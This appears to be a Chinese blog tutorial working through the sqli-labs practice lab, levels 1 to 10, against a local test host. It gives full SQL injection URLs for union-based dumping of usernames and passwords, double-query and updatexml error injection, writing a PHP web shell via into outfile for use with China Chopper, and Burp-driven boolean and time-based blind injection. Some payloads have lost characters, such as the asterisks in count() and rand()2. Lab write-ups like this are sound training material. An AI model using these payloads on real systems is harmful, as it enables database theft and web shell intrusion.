第七篇 sqli-lab实战练习(Less-1 到 Less-10)

2022/3/19 19:28:23

本文主要是介绍第七篇 sqli-lab实战练习(Less-1 到 Less-10),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Less-1 基于错误字符串单引号注入

  • 目标
获取数据库名,表名,列名,数据

输入:http://www.sqllabs.com:7080/Less-1/?id=1'

image

注释符确认:通过输入#,--+,/**/,%23,http://www.sqllabs.com:7080/Less-1/?id=1' or 1=1 得知--+和%23都可以正常返回

判断单引号没有闭合导致的错误,修改为:http://www.sqllabs.com:7080/Less-1/?id=1' or 1=1 --+,正常显示

image

通过 order by获取列数:http://www.sqllabs.com:7080/Less-1/?id=1' order by 4 --+,当order by为4的时候,才报错,说明有3列

image

使用union判断是否有回显:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,3 --+,因为需要有回显,需要输入一个不存在的ID的值

image

获取所有的数据库:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

image

获取数据库security的表名:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image

获取users的列名:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

image

获取数据:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('-', username, password)) from security.users --+

image

Less-2 基于错误整型注入

  • 目标
验证注入类型

按照第一关,分别进行测试:

id=1':报错
id=1' or 1=1:报错
id=1' or 1=2:报错

只有在id=1 或者 id = 1 or 1=1 或者 id = 1 or 1=2不报错,说明是整型注入 

http://www.sqllabs.com:7080/Less-2/?id=1 or 1=2 --+

image

http://www.sqllabs.com:7080/Less-2/?id=1' or 1=2 --+

image

Less-3 基于错误单引号括号注入

  • 目标
获取错误提示,推断注入点

http://www.sqllabs.com:7080/Less-3/?id=1' or 1=1

image

根据错误提示,应该加:')

http://www.sqllabs.com:7080/Less-3/?id=1') or 1=1 --+ 可以正常返回

image

Less-4 基于错误字符串双引号注入

  • 目标
获取错误提示,推断注入点

输入id=1,id=1'都正常返回结果,改为id=1",返回错误信息:http://www.sqllabs.com:7080/Less-4/?id=1"

image

根据提示,需要再加入一个): http://www.sqllabs.com:7080/Less-4/?id=1") or 1=1 --+

image

Less-5 基于双查询注入字符串单引号

  • 目标
1. 理解双查询注入
2. 使用双查询来完成注入

双查询注入:简单理解就是一个select语句嵌套一个select语句,需要用到的四个函数:

floor() : 向下取整
count() : 常用于计算行的数目
group by: 分组
rand() : 产生一个0-1的随机数

在输入:http://www.sqllabs.com:7080/Less-5/?id=1 ,发现没有回显,所以不能简单的使用union查询

image

输入:http://www.sqllabs.com:7080/Less-5/?id=1' , 存在单引号错误

image

获取数据库版本:http://www.sqllabs.com:7080/Less-5/?id=1' union select 1,count(),concat((select version()),floor(rand()2)) as a from information_schema.tables group by a --+

image

获取数据库名:

http://www.sqllabs.com:7080/Less-5/?id=1' union select 1,count(),concat((select database()),floor(rand()2)) as a from information_schema.tables group by a --+

image

还可以使用updatexml进行处理:http://www.sqllabs.com:7080/Less-5/?id=1' and updatexml(1,concat('|',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'|'),1) --+

image

Less-6 基于双查询注入字符串双引号

  • 目标
1. 双查询完成注入
2. 获取数据库表名
3. 获取表字段
4. 获取表内容

输入:http://www.sqllabs.com:7080/Less-6/?id=1" 发生报错

image

和Less-5不同的就是,将单引号改为双引号

获取数据库表名:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),'|',floor(rand()2)) a from information_schema.columns group by a --+

image

获取users表字段:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'|',floor(rand()2)) a from information_schema.columns group by a --+

image

获取users表username数据:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select username from users limit 1,1),'|',floor(rand()2)) a from security.users group by a --+

image

Less-7 Dump into outfile

  • 目标
1. 使用outfile函数实现一句话木马

输入:http://www.sqllabs.com:7080/Less-7/?id=1', 尝试id=1')也一样报错,在输入 id=1')) --+ 正确显示

image

outfile格式:select '写入内容' into outfile '写入文件路径'

为了避免写入文件权限问题,可以直接写入临时目录:http://www.sqllabs.com:7080/Less-7/?id=1')) union select 1,2,'' into outfile '/tmp/less7.php' --+,虽然这个时候也会报错,但实际文件已经写进去了

通过中国菜刀链接:http://192.168.1.7:7080/tmp/less7.php

image

image

Less-8 基于布尔盲注-单引号

  • 目标
使用burp获取数据库信息

输入:http://www.sqllabs.com:7080/Less-8/?id=1' 发生报错

image

在使用的时候,注意需要对url进行编码,比如:/Less-8/?id=1%27%20and%20length(database())=8%20--+

获取数据库长度:通过抓包将url请求send到Intruder中,修改变量,示例:

image

Payloads配置为

image

点击start attack

image

当变量为8的时候,返回的length不一样,说明数据库的长度为:8

获取数据库名:

image

image

image

点击start attack 结果按照length进行排序,这样就可以查看到获取的数据库名:

image

Less-9 基于时间盲注-单引号

  • 目标
1. 学会判断延时注入
2. 使用sleep来获取数据库信息

我们在使用单引号、双引号、id=1 and 1=2发现都能正常的返回,说明后台对这些数据都做了统一的输出,这个时候就可以尝试使用延时注入的方式

输入:http://www.sqllabs.com:7080/Less-9/?id=1 and 1=2,正常返回

image

输入:http://www.sqllabs.com:7080/Less-9/?id=1' and sleep(10) --+,发现结果在10s后才返回,说明存在延时注入

image

使用burp来判断数据的长度:/Less-9/?id=1%27%20and%20if(length(database())=§8§,sleep(10),1)%20--+

image

所以数据库的长度为8

获取数据库名:/Less-9/?id=1%27%20and%20if(substr(database(),§1§,1)=%27§a§%27,sleep(5),1)%20--+

image

image

image

结果:

image

Less-10 基于时间盲注-双引号

只要将Less-9 的单引号改为双引号就可以了



这篇关于第七篇 sqli-lab实战练习(Less-1 到 Less-10)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程